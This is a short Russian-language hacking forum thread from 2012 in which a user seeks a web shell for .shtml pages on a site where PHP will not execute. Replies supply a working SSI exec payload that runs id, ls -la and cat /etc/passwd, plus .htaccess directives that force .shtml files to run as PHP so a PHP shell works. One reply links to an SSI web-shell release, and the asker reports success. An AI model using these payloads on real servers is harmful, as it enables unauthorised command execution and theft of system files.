шелл на shtml

Discussion in 'Болталка' started by Bahamut, 25 Jun 2012.

  1. Bahamut

    Bahamut Banned

    Joined:
    7 Dec 2011
    Messages:
    9
    Likes Received:
    3
    Reputations:
    0
    Y кого есть поделитесь.
     
    #1 Bahamut, 25 Jun 2012
  2. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    526
    Likes Received:
    253
    Reputations:
    32
    попробуй любой взять и вставь хтмл теги и формат есесно
     
    #2 InDuStRieS, 25 Jun 2012
  3. Bahamut

    Bahamut Banned

    Joined:
    7 Dec 2011
    Messages:
    9
    Likes Received:
    3
    Reputations:
    0
    не подходит, просто проблема B том что пхп хтмл тпл и пр. не исполняет а скачиBает, а shtml норм, но шеллы пхп не робят.
     
    #3 Bahamut, 26 Jun 2012
  4. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    Code:
    <html><body>
<!--#exec cmd="id;ls -la;cat /etc/passwd;"-->
</body></html>
     
    #4 Dyxxx, 26 Jun 2012
  5. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    326
    Likes Received:
    177
    Reputations:
    76
    Если сайт построен на SSI, то, как вариант, попробуй добавить в .htacсess(если он конечно есть, потому что про веб-сервер не было сказано ни слова в твоем вопросе):

    PHP:
    RemoveHandler .html .htm .shtml
    AddType application    /x-httpd-php .php .htm .html .phtml .shtml
    И попробуй снова выполнить свой похапе-шелл.
     
    #5 Га-Ноцри, 26 Jun 2012
  6. Bahamut

    Bahamut Banned

    Joined:
    7 Dec 2011
    Messages:
    9
    Likes Received:
    3
    Reputations:
    0
    хз как тyда добраться... я про .htacсess
    хотел через админкy B директории создать но нельзя, не ssi.
     
    #6 Bahamut, 26 Jun 2012
  7. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    326
    Likes Received:
    177
    Reputations:
    76
    Спросил бы уж тогда лучше в разделе "Уязвимости". Там, по-моему, больше шансов на получение дельного ответа от того, кто с подобным сталкивался, чем тут :)

    Не все местные светлые головы читают "Болталку".

    Только не создавай отдельную тему и постарайся как-то более детальнее описать все вводные данные.
     
    #7 Га-Ноцри, 26 Jun 2012
  8. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    SSI-шелл это называется.
     
    #8 Ereee, 26 Jun 2012
  9. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    674
    Likes Received:
    332
    Reputations:
    120
    http://ahack.ru/releases/ssi-web-shell.htm
     
    #9 d1v, 26 Jun 2012
  10. Bahamut

    Bahamut Banned

    Joined:
    7 Dec 2011
    Messages:
    9
    Likes Received:
    3
    Reputations:
    0
    спасибо нашел и разобрался))
    очень помогли)!!
     
    #10 Bahamut, 26 Jun 2012
(You must log in or sign up to post here.)